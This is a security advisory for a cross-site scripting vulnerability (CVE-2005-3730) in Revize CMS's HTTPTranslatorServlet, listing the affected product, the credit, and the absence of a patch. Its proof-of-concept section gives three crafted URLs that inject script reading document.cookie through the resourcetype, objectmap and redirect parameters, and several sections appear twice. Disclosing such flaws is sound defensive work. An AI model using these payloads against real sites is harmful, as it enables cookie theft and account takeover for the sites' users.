Revize CMS HTTPTranslatorServlet Cross-Site Scripting Vulnerability
BID:15484
Info
Revize CMS HTTPTranslatorServlet Cross-Site Scripting Vulnerability
| Bugtraq ID: | 15484 |
| Class: | Input Validation Error |
| CVE: |
CVE-2005-3730 |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 17 2005 12:00AM |
| Updated: | Jul 12 2009 05:56PM |
| Credit: | Lostmon is credited with the discovery of this vulnerability. |
| Vulnerable: |
Revize CMS Revize CMS |
| Not Vulnerable: | |
Discussion
Revize CMS HTTPTranslatorServlet Cross-Site Scripting Vulnerability
Revize CMS is prone to a cross-site scripting vulnerabilities. This is due to a lack of proper sanitization of user-supplied input.
An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
Revize CMS is prone to a cross-site scripting vulnerabilities. This is due to a lack of proper sanitization of user-supplied input.
An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
Exploit / POC
Revize CMS HTTPTranslatorServlet Cross-Site Scripting Vulnerability
No exploit is required.
Example URI have been provided:
http://www.example.com/revize/HTTPTranslatorServlet?redirect=/revize/admincenter/setWebSpace.jsp&action=login&resourcetype=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Esecurity&objectmap=subject&error=admincenter/login.jsp
http://www.example.com/revize/HTTPTranslatorServlet?redirect=/revize/admincenter/setWebSpace.jsp&action=login&resourcetype=security&objectmap=subject%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&error=admincenter/login.jsp
http://www.example.com/revize/HTTPTranslatorServlet?redirect=/revize/admincenter/setWebSpace.jsp%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&action=login&resourcetype=security&objectmap=subject&error=admincenter/login.jsp
No exploit is required.
Example URI have been provided:
http://www.example.com/revize/HTTPTranslatorServlet?redirect=/revize/admincenter/setWebSpace.jsp&action=login&resourcetype=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Esecurity&objectmap=subject&error=admincenter/login.jsp
http://www.example.com/revize/HTTPTranslatorServlet?redirect=/revize/admincenter/setWebSpace.jsp&action=login&resourcetype=security&objectmap=subject%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&error=admincenter/login.jsp
http://www.example.com/revize/HTTPTranslatorServlet?redirect=/revize/admincenter/setWebSpace.jsp%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&action=login&resourcetype=security&objectmap=subject&error=admincenter/login.jsp
Solution / Fix
Revize CMS HTTPTranslatorServlet Cross-Site Scripting Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Revize CMS HTTPTranslatorServlet Cross-Site Scripting Vulnerability
References:
References:
- Revize Web Page (Revize)
- Revize(r) CMS SQL information disclosure and XSS (Lostmon)